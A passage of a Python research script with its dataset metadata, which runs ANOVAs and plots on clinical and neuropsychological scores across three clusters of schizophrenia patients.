clinic.question_id.unique():\n    df_scores[score] = np.nan\n\nfor s in pop.subjectid:\n    curr = clinic[clinic.subjectid ==s]\n    for key in clinic.question_id.unique():\n        if curr[curr.question_id == key].empty == False:\n            df_scores.loc[df_scores[\"subjectid\"]== s,key] = curr[curr.question_id == key].question_value.values[0]\n\n\ndf_scores[\"totalSANS\"] = 0\nfor i in (1,2,3,4,5,6,7,9,10,11,12,14,15,16,18,19,20,21,23,24):\n   df_scores[\"totalSANS\"] = df_scores[\"totalSANS\"]  + df_scores[\"sans%s\"%i].astype(np.float).values\n\n\ndf_scores[\"totalSAPS\"] = 0\nfor i in (1,2,3,4,5,6,8,9,10,11,12,13,14,15,16,17,18,19,21,22,23,24,26,27,28,29,30,31,32,33):\n   df_scores[\"totalSAPS\"] = df_scores[\"totalSAPS\"]  + df_scores[\"saps%s\"%i].astype(np.float).values\n\n\ndf_scores[\"sansSUbtot\"] = df_scores[\"sans8\"].astype(np.float).values+df_scores[\"sans13\"].astype(np.float).values+\\\ndf_scores[\"sans17\"].astype(np.float).values+df_scores[\"sans22\"].astype(np.float).values+\\\ndf_scores[\"sans25\"].astype(np.float).values\n\n\ndf_scores[\"sapsSUbtot\"] = df_scores[\"saps7\"].astype(np.float).values+df_scores[\"saps20\"].astype(np.float).values+\\\ndf_scores[\"saps25\"].astype(np.float).values+df_scores[\"saps34\"].astype(np.float).values\n\n################################################################################\noutput = \"/neurospin/brainomics/2016_schizConnect/2018_analysis_2ndpart_clinic/\\\nresults/clustering_ROIs/results/thick+vol/3_clusters/nudast/\"\nkey_of_interest= list()\n\ndf_stats = pd.DataFrame(columns=[\"T\",\"p\",\"mean Cluster 1\",\"mean Cluster 2\",\"mean Cluster 3\"])\ndf_stats.insert(0,\"clinical_scores\",df_scores.keys())\nfor key in df_scores.keys():\n    try:\n        neurospycho = df_scores[key].astype(np.float).values\n        df = pd.DataFrame()\n        df[key] = neurospycho[np.array(np.isnan(neurospycho)==False)]\n        df[\"age\"] = age[np.array(np.isnan(neurospycho)==False)]\n        df[\"sex\"] = sex[np.array(np.isnan(neurospycho)==False)]\n        df[\"labels\"]=labels_cluster[np.array(np.isnan(neurospycho)==False)]\n        T,p = scipy.stats.f_oneway(df[df[\"labels\"]=='SCZ Cluster 1'][key],\\\n                 df[df[\"labels\"]=='SCZ Cluster 2'][key],\\\n                    df[df[\"labels\"]=='SCZ Cluster 3'][key])\n        if p<0.05:\n            print(key)\n            print(p)\n            key_of_interest.append(key)\n        df_stats.loc[df_stats.clinical_scores==key,\"T\"] = round(T,3)\n        df_stats.loc[df_stats.clinical_scores==key,\"p\"] = round(p,4)\n        df_stats.loc[df_stats.clinical_scores==key,\"mean Cluster 1\"] = round(df[df[\"labels\"]=='SCZ Cluster 1'][key].mean(),3)\n        df_stats.loc[df_stats.clinical_scores==key,\"mean Cluster 2\"] = round(df[df[\"labels\"]=='SCZ Cluster 2'][key].mean(),3)\n        df_stats.loc[df_stats.clinical_scores==key,\"mean Cluster 3\"] = round(df[df[\"labels\"]=='SCZ Cluster 3'][key].mean(),3)\n\n    except:\n        print(\"issue\")\n        df_stats.loc[df_stats.clinical_scores==key,\"T\"] = np.nan\n        df_stats.loc[df_stats.clinical_scores==key,\"p\"] = np.nan\ndf_stats.to_csv(os.path.join(output,\"clusters_clinics_p_values.csv\"))\n\n\n\n################################################################################\nkey = \"totalSAPS\"\nkey = \"totalSANS\"\nkey = \"sansSUbtot\"\nkey = \"sapsSUbtot\"\ndf_scores[\"panss_diff\"] = df_scores[\"sansSUbtot\"].astype(np.float).values-df_scores[\"sapsSUbtot\"].astype(np.float).values\nNP_scores = [\"vocabsca\",'dstscalc',\"sstscalc\",\"lnsscalc\",\"d4prime\",\"lmiscalc\",\"fpiscalc\",'matrxsca',\"trailb\",\"wcstpsve\"]\n\n\nfor key in key_of_interest:\n    plt.figure()\n    df = pd.DataFrame()\n    score = df_scores[key].astype(np.float).values\n    df[\"labels\"]=labels_cluster[np.array(np.isnan(score)==False)]\n    df[key] =  score[np.array(np.isnan(score)==False)]\n    T,p = scipy.stats.f_oneway(df[df[\"labels\"]=='Subcortical'][key],\n                         df[df[\"labels\"]=='Cortical'][key],\\\n                        df[df[\"labels\"]=='Preserved'][key])\n    ax = sns.violinplot(x=\"labels\", y=key, data=df,order=[\"Controls\",\"Subcortical\",\"Cortical\",\"Preserved\"])\n    plt.title(\"ANOVA patients diff: t = %s, and  p= %s\"%(T,p))\n    plt.savefig(os.path.join(output,\"plots\",\"%s.png\"%key))\n\n\ndf[df[\"labels\"]=='SCZ Cluster 1'][key].mean()\ndf[df[\"labels\"]=='SCZ Cluster 1'][key].std()\ndf[df[\"labels\"]=='SCZ Cluster 2'][key].mean()\ndf[df[\"labels\"]=='SCZ Cluster 2'][key].std()\ndf[df[\"labels\"]=='SCZ Cluster 3'][key].mean()\ndf[df[\"labels\"]=='SCZ Cluster 3'][key].std()\n\n###############################################################################\n###############################################################################\n#Save table with scores\nimport six\n\ndf = df_stats[df_stats[\"T\"].isnull()==False]\nrender_mpl_table(df, header_columns=0, col_width=2.0,output=os.path.join(output,\"all_anova_nudast_results.png\"))\n\ndf = df_stats[df_stats[\"T\"].isnull()==False]\ndf = df_stats[df_stats[\"p\"]<0.05]\nrender_mpl_table(df, header_columns=0, col_width=2.0,output=os.path.join(output,\"significant_anova_nudast_results.png\"))\n\n\n\n\n\ndef render_mpl_table(data,output, col_width=30.0, row_height=0.325, font_size=12,\n                     header_color='#40466e', row_colors=['#f1f1f2', 'w'], edge_color='w',\n                     bbox=[0, 0, 1, 1], header_columns=0,\n                     ax=None, **kwargs):\n    if ax is None:\n        size = (np.array(data.shape[::-1]) + np.array([0, 1])) * np.array([col_width, row_height])\n        fig, ax = plt.subplots(figsize=size)\n        ax.axis('off')\n\n    mpl_table = ax.table(cellText=data.values, bbox=bbox, colLabels=data.columns, cellLoc='center',loc='upper left')\n\n    mpl_table.auto_set_font_size(False)\n    mpl_table.set_fontsize(font_size)\n\n    for k, cell in  six.iteritems(mpl_table._cells):\n        cell.set_edgecolor(edge_color)\n        if k[0] == 0 or k[1] < header_columns:\n            cell.set_text_props(weight='bold', color='w')\n            cell.set_facecolor(header_color)\n        else:\n            cell.set_facecolor(row_colors[k[0]%len(row_colors) ])\n    plt.tight_layout()\n    plt.savefig(output)\n    return ax\n\n###############################################################################\n###############################################################################\n#code to plot NP meand variables\n\nNP_scores = [\"vocabsca\",'dstscalc',\"sstscalc\",\"lnsscalc\",\"d4prime\",\"lmiscalc\",\"fpiscalc\",'matrxsca',\"trailb\",\"wcstpsve\"]\n\n#NP_scores = [\"vocabsca\",'dstscalc',\"sstscalc\",\"lnsscalc\",\"d4prime\",\"lmiscalc\",\"fpiscalc\",'matrxsca']\n\ndf_stats = pd.DataFrame(columns=[\"mean Controls\",\"std Controls\",\"mean Cluster 1\",\"mean Cluster 2\",\"mean Cluster 3\",\\\n                                 \"std Cluster 1\",\"std Cluster 2\",\"std Cluster 3\"])\ndf_stats.insert(0,\"clinical_scores\",NP_scores)\nfor key in NP_scores:\n    neurospycho = df_scores[key].astype(np.float).values\n    df = pd.DataFrame()\n    y = y_nudast[np.array(np.isnan(neurospycho)==False)]\n    score = neurospycho[np.array(np.isnan(neurospycho)==False)]\n    score = ((score - score[y==0].mean(axis=0))/score[y==0].std(axis=0))\n    df[key] = score\n    df[\"labels\"]=labels_cluster[np.array(np.isnan(neurospycho)==False)]\n    df_stats.loc[df_stats.clinical_scores==key,\"mean Controls\"] = round(df[df[\"labels\"]=='Controls'][key].mean(),3)\n\n    df_stats.loc[df_stats.clinical_scores==key,\"mean Cluster 1\"] = round(df[df[\"labels\"]=='Subcortical'][key].mean(),3)\n    df_stats.loc[df_stats.clinical_scores==key,\"mean Cluster 2\"] = round(df[df[\"labels\"]=='Cortical'][key].mean(),3)\n    df_stats.loc[df_stats.clinical_scores==key,\"mean Cluster 3\"] = round(df[df[\"labels\"]=='Preserved'][key].mean(),3)\n\n    df_stats.loc[df_stats.clinical_scores==key,\"std Cluster 1\"] = round(df[df[\"labels\"]=='Subcortical'][key].std(),3)\n    df_stats.loc[df_stats.clinical_scores==key,\"std Cluster 2\"] = round(df[df[\"labels\"]=='Cortical'][key].std(),3)\n    df_stats.loc[df_stats.clinical_scores==key,\"std Cluster 3\"] = round(df[df[\"labels\"]=='Preserved'][key].std(),3)\n\n#plt.errorbar(x,y=df_stats[\"mean Controls\"],yerr=df_stats[\"std Controls\"],label = \"Controls\",marker='o',ls='--')\n#plt.errorbar(x,y=df_stats[\"mean Cluster 1\"],yerr=df_stats[\"std Cluster 1\"],label = \"SCZ Cluster 1\",marker='v',ls='--')\n#plt.errorbar(x,y=df_stats[\"mean Cluster 2\"],yerr=df_stats[\"std Cluster 2\"],label = \"SCZ Cluster 2\",marker='p',ls='--')\n#plt.errorbar(x,y=df_stats[\"mean Cluster 3\"],yerr=df_stats[\"std Cluster 3\"],label = \"SCZ Cluster 3\",marker='d',ls='--')\n#plt.legend()\n#plt.ylabel(\"Z-score\")\n\n\nplt.plot(df_stats[\"mean Controls\"],'o',label = 'Controls', marker='o',markersize=10,ls='--',color= \"darkgreen\")\nplt.plot(df_stats[\"mean Cluster 1\"],'o',label = 'Subcortical', marker='v',markersize=10,ls='--',color= \"darkblue\")\nplt.plot(df_stats[\"mean Cluster 2\"],'o',label = 'Cortical', marker='s',markersize=10,ls='--',color= \"firebrick\")\nplt.plot(df_stats[\"mean Cluster 3\"],'o',label = 'Preserved', marker='d',markersize=10,ls='--',color= \"goldenrod\")\nplt.annotate('', xy=(0.67, -0.37), xycoords='axes fraction', xytext=(1, -0.37),\n            arrowprops=dict(arrowstyle=\"<->\", color='black',lw= 3))\nplt.annotate('', xy=(0.47, -0.37), xycoords='axes fraction', xytext=(0.67, -0.37),\n            arrowprops=dict(arrowstyle=\"<->\", color='black',lw= 3))\nplt.annotate('', xy=(0.12, -0.37), xycoords='axes fraction', xytext=(0.47, -0.37),\n            arrowprops=dict(arrowstyle=\"<->\", color='black',lw= 3))\nplt.annotate('', xy=(0, -0.37), xycoords='axes fraction', xytext=(0.12, -0.37),\n            arrowprops=dict(arrowstyle=\"<->\", color='black',lw= 3))\nplt.text(7, -4.2, \"Executive Functions\")\nplt.text(4.2, -4.2, \"Episodic Memory\")\nplt.text(1.1, -4.2, \"Working Memory\")\nplt.text(-0.9, -4.2, \"Intelligence\")\n\nplt.legend(loc = 'upper center',ncol = 4)\nplt.ylabel(\"Z-score\")\nx = np.arange(10)\nplt.axis([-1,10, -2,3])\nNP_scores_legend = [\"WAIS vocabulary\",'WMS Digit Span',\"WMS Spatial Span\",\\\n\"WMS Letter Number\\n Sequencing\",\"CPT dprime\", \"WMS Logical Memory\",\\\n\"WMS Family Picture\",'WAIS Matrix\\n Reasoning',\"Trails B time\",'WCST perseverative\\n errors']\n#NP_scores_legend = [\"WAIS vocab\",'WMS Digit Span',\"WMS Spatial Span\",\"WMS LN\",\"CPT dprime\", \"WMS LM\",\"WMS FP\",'WAIS matrix']\nplt.xticks(x,NP_scores_legend,rotation=60, fontsize=10)\nplt.tight_layout()\nplt.savefig(os.path.join(output,\"neuropsy_per_clusters\"), bbox_inches=\"tight\")\n###############################################################################\nNP_scores = [\"cvl15tsc\",\"cvlsdcrs\",\\\n\"cvlldcrs\",\"cvllsls\",\"cvlrccs\"]\n\ndf_stats = pd.DataFrame(columns=[\"mean Controls\",\"std Controls\",\"mean Cluster 1\",\"mean Cluster 2\",\"mean Cluster 3\",\\\n                                 \"std Cluster 1\",\"std Cluster 2\",\"std Cluster 3\"])\ndf_stats.insert(0,\"clinical_scores\",NP_scores)\nfor key in NP_scores:\n    neurospycho = df_scores[key].astype(np.float).values\n    df = pd.DataFrame()\n    y = y_nudast[np.array(np.isnan(neurospycho)==False)]\n    score = neurospycho[np.array(np.isnan(neurospycho)==False)]\n    score = ((score - score[y==0].mean(axis=0))/score[y==0].std(axis=0))\n    df[key] = score\n    df[\"labels\"]=labels_cluster[np.array(np.isnan(neurospycho)==False)]\n    df_stats.loc[df_stats.clinical_scores==key,\"mean Controls\"] = round(df[df[\"labels\"]=='Controls'][key].mean(),3)\n\n    df_stats.loc[df_stats.clinical_scores==key,\"mean Cluster 1\"] = round(df[df[\"labels\"]=='Subcortical'][key].mean(),3)\n    df_stats.loc[df_stats.clinical_scores==key,\"mean Cluster 2\"] = round(df[df[\"labels\"]=='Cortical'][key].mean(),3)\n    df_stats.loc[df_stats.clinical_scores==key,\"mean Cluster 3\"] = round(df[df[\"labels\"]=='Preserved'][key].mean(),3)\n\n    df_stats.loc[df_stats.clinical_scores==key,\"std Cluster 1\"] = round(df[df[\"labels\"]=='Subcortical'][key].std(),3)\n    df_stats.loc[df_stats.clinical_scores==key,\"std Cluster 2\"] = round(df[df[\"labels\"]=='Cortical'][key].std(),3)\n    df_stats.loc[df_stats.clinical_scores==key,\"std Cluster 3\"] = round(df[df[\"labels\"]=='Preserved'][key].std(),3)\n\n\nplt.plot(df_stats[\"mean Controls\"],'o',label = 'Controls', marker='o',markersize=10,ls='--',color= \"darkgreen\")\nplt.plot(df_stats[\"mean Cluster 1\"],'o',label = 'Subcortical', marker='v',markersize=10,ls='--',color= \"darkblue\")\nplt.plot(df_stats[\"mean Cluster 2\"],'o',label = 'Cortical', marker='s',markersize=10,ls='--',color= \"firebrick\")\nplt.plot(df_stats[\"mean Cluster 3\"],'o',label = 'Preserved', marker='d',markersize=10,ls='--',color= \"goldenrod\")\nplt.legend(loc = 'upper center',ncol =4)\nplt.ylabel(\"Z-score\")\nx = np.arange(5)\nNP_scores_legend = [\"Sum of Trials 1-5\",\"Short Delay Cued Recall\",\\\n\"Long Delay Cued Recall\",\"Learning Slope\",\"Discriminability\"]\nplt.xticks(x,NP_scores_legend,rotation=60, fontsize=12)\nplt.tight_layout()\nplt.title(\"California Verbal Learning Task\")\n\n\n###############################################################################\n## Libraries\n#import matplotlib.pyplot as plt\n#import pandas as pd\n#from math import pi\n#NP_scores = [\"vocabsca\",'dstscalc',\"sstscalc\",\"lnsscalc\",\"d4prime\",\"lmiscalc\",\\\n#\"fpiscalc\",'matrxsca',\"trailb\",\"wcstpsve\"]\n#\n## Set data\n#df = pd.DataFrame({\n#'group': ['Cluster 1','Cluster 2','Cluster 3'],\n#'WAIS vocab': [df_stats[df_stats[\"clinical_scores\"]==\"vocabsca\"][\"mean Cluster 1\"].values,\\\n#               df_stats[df_stats[\"clinical_scores\"]==\"vocabsca\"][\"mean Cluster 2\"].values,\\\n#                df_stats[df_stats[\"clinical_scores\"]==\"vocabsca\"][\"mean Cluster 3\"].values],\\\n#\n#'WMS Digit Span':  [df_stats[df_stats[\"clinical_scores\"]==\"dstscalc\"][\"mean Cluster 1\"].values,\\\n#               df_stats[df_stats[\"clinical_scores\"]==\"dstscalc\"][\"mean Cluster 2\"].values,\\\n#                df_stats[df_stats[\"clinical_scores\"]==\"dstscalc\"][\"mean Cluster 3\"].values],\\\n#\n#'WMS Spatial Span': [df_stats[df_stats[\"clinical_scores\"]==\"sstscalc\"][\"mean Cluster 1\"].values,\\\n#               df_stats[df_stats[\"clinical_scores\"]==\"sstscalc\"][\"mean Cluster 2\"].values,\\\n#                df_stats[df_stats[\"clinical_scores\"]==\"sstscalc\"][\"mean Cluster 3\"].values],\n#\n#'WMS LN': [df_stats[df_stats[\"clinical_scores\"]==\"lnsscalc\"][\"mean Cluster 1\"].values,\\\n#               df_stats[df_stats[\"clinical_scores\"]==\"lnsscalc\"][\"mean Cluster 2\"].values,\\\n#                df_stats[df_stats[\"clinical_scores\"]==\"lnsscalc\"][\"mean Cluster 3\"].values],\\\n#\n#'CPT dprime': [df_stats[df_stats[\"clinical_scores\"]==\"d4prime\"][\"mean Cluster 1\"].values,\\\n#               df_stats[df_stats[\"clinical_scores\"]==\"d4prime\"][\"mean Cluster 2\"].values,\\\n#                df_stats[df_stats[\"clinical_scores\"]==\"d4prime\"][\"mean Cluster 3\"].values],\\\n#\n#'WMS LM':  [df_stats[df_stats[\"clinical_scores\"]==\"lmiscalc\"][\"mean Cluster 1\"].values,\\\n#               df_stats[df_stats[\"clinical_scores\"]==\"lmiscalc\"][\"mean Cluster 2\"].values,\\\n#                df_stats[df_stats[\"clinical_scores\"]==\"lmiscalc\"][\"mean Cluster 3\"].values],\\\n#\n#'WMS FP': [df_stats[df_stats[\"clinical_scores\"]==\"fpiscalc\"][\"mean Cluster 1\"].values,\\\n#               df_stats[df_stats[\"clinical_scores\"]==\"fpiscalc\"][\"mean Cluster 2\"].values,\\\n#                df_stats[df_stats[\"clinical_scores\"]==\"fpiscalc\"][\"mean Cluster 3\"].values],\n#\n#'WAIS matrix': [df_stats[df_stats[\"clinical_scores\"]==\"matrxsca\"][\"mean Cluster 1\"].values,\\\n#               df_stats[df_stats[\"clinical_scores\"]==\"matrxsca\"][\"mean Cluster 2\"].values,\\\n#                df_stats[df_stats[\"clinical_scores\"]==\"matrxsca\"][\"mean Cluster 3\"].values],\\\n#\n#'Trails B': [df_stats[df_stats[\"clinical_scores\"]==\"trailb\"][\"mean Cluster 1\"].values,\\\n#               df_stats[df_stats[\"clinical_scores\"]==\"trailb\"][\"mean Cluster 2\"].values,\\\n#                df_stats[df_stats[\"clinical_scores\"]==\"trailb\"][\"mean Cluster 3\"].values],\\\n#\n#'WCST errors':  [df_stats[df_stats[\"clinical_scores\"]==\"wcstpsve\"][\"mean Cluster 1\"].values,\\\n#               df_stats[df_stats[\"clinical_scores\"]==\"wcstpsve\"][\"mean Cluster 2\"].values,\\\n#                df_stats[df_stats[\"clinical_scores\"]==\"wcstpsve\"][\"mean Cluster 3\"].values]\n#\n#})\n#NP_scores_legend = [\"WAIS vocab\",'WMS Digit Span',\"WMS Spatial Span\",\"WMS LN\",\\\n#\"CPT dprime\", \"WMS LM\",\"WMS FP\",'WAIS matrix','Trails B','WCST errors',\"group\"]\n##NP_scores_legend = [\"WAIS vocab\",'WMS Digit Span',\"WMS Spatial Span\",\"WMS LN\",\\\n##\"CPT dprime\", \"WMS LM\",\"WMS FP\",'WAIS matrix',\"group\"]\n#\n#df = df[NP_scores_legend]\n#\n## number of variable\n#categories=list(df)[:-1]\n#N = len(categories)\n#\n## We are going to plot the first line of the data frame.\n## But we need to repeat the first value to close the circular graph:\n#values0=df.loc[0].drop('group').values.flatten().tolist()\n#values0 += values0[:1]\n#values0\n#values1=df.loc[1].drop('group').values.flatten().tolist()\n#values1 += values1[:1]\n#values1\n#\n#values2=df.loc[2].drop('group').values.flatten().tolist()\n#values2 += values2[:1]\n#values2\n#\n#\n## What will be the angle of each axis in the plot? (we divide the plot / number of variable)\n#angles = [n / float(N) * 2 * pi for n in range(N)]\n#angles += angles[:1]\n#\n## Initialise the spider plot\n#ax = plt.subplot(111, polar=True)\n#\n## Draw one axe per variable + add labels labels yet\n#plt.xticks(angles[:-1], categories, color='black', size=12)\n#\n## Draw ylabels\n#ax.set_rlabel_position(0)\n#plt.yticks([0], [\"controls\"], color=\"grey\", size=7)\n#plt.ylim(-2,3)\n#\n## Plot data\n#ax.plot(angles, values0, linewidth=3, linestyle='solid',label= \"Cluster 1\")\n#ax.plot(angles, values1, linewidth=3, linestyle='solid',label=\"Cluster 2\")\n#ax.plot(angles, values2, linewidth=3, linestyle='solid',label=\"Cluster 3\")\n#ax.legend(loc=7)\n## Fill area\n\n", "repo_name": "neurospin/scripts", "sub_path": "2016_schizConnect/2018_analysis_2ndpart_clinic/clustering_ROIs/thic+vol/3_clusters/02_clusters_anova_nudast.py", "file_name": "02_clusters_anova_nudast.py", "file_ext": "py", "file_size_in_byte": 19140, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.load", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 34, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 39, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 46, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 52, "usage_type": "attribute"}, {"api_name": "numpy.float", "line_number": 63, "usage_type": "attribute"}, {"api_name": "numpy.float", "line_number": 68, "usage_type": "attribute"}, {"api_name": "numpy.float", "line_number": 71, "usage_type": "attribute"}, {"api_name": "numpy.float", "line_number": 72, "usage_type": "attribute"}, {"api_name": "numpy.float", "line_number": 73, "usage_type": "attribute"}, {"api_name": "numpy.float", "line_number": 76, "usage_type": "attribute"}, {"api_name": "numpy.float", "line_number": 77, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 88, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 93, "usage_type": "call"}, {"api_name": "scipy.stats.stats.stats.f_oneway", "line_number": 94, "usage_type": "call"}, {"api_name": "scipy.stats.stats.stats", "line_number": 94, "usage_type": "attribute"}, {"api_name": "scipy.stats.stats", "line_number": 94, "usage_type": "name"}, {"api_name": "numpy.nan", "line_number": 109, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 110, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path", "line_number": 111, "usage_type": "attribute"}, {"api_name": "numpy.float", "line_number": 120, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 127, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 129, "usage_type": "call"}, {"api_name": "scipy.stats.stats.stats.f_oneway", "line_number": 130, "usage_type": "call"}, {"api_name": "scipy.stats.stats.stats", "line_number": 130, "usage_type": "attribute"}, {"api_name": "scipy.stats.stats", "line_number": 130, "usage_type": "name"}, {"api_name": "seaborn.violinplot", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 134, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 135, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 135, "usage_type": "call"}, {"api_name": "os.path", "line_number": 135, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 151, "usage_type": "call"}, {"api_name": "os.path", "line_number": 151, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 155, "usage_type": "call"}, {"api_name": "os.path", "line_number": 155, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 166, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 167, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 167, "usage_type": "name"}, {"api_name": "six.iteritems", "line_number": 175, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 182, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 182, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 183, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 183, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 198, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 204, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 204, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 223, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 223, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 224, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 224, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 225, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 225, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 226, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 226, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.annotate", "line_number": 227, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 227, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.annotate", "line_number": 229, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 229, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.annotate", "line_number": 231, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 231, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.annotate", "line_number": 233, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 233, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 235, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 235, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 236, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 236, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 237, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 237, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 238, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 238, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 240, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 240, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 241, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 241, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 242, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 243, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 243, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 248, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 248, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 249, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 249, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 250, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 250, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 250, "usage_type": "call"}, {"api_name": "os.path", "line_number": 250, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 255, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 259, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 260, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 261, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 261, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 262, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 262, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 265, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 265, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 277, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 277, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 278, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 278, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 279, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 279, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 280, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 280, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 281, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 281, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 282, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 282, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 283, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 286, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 286, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 287, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 287, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 288, 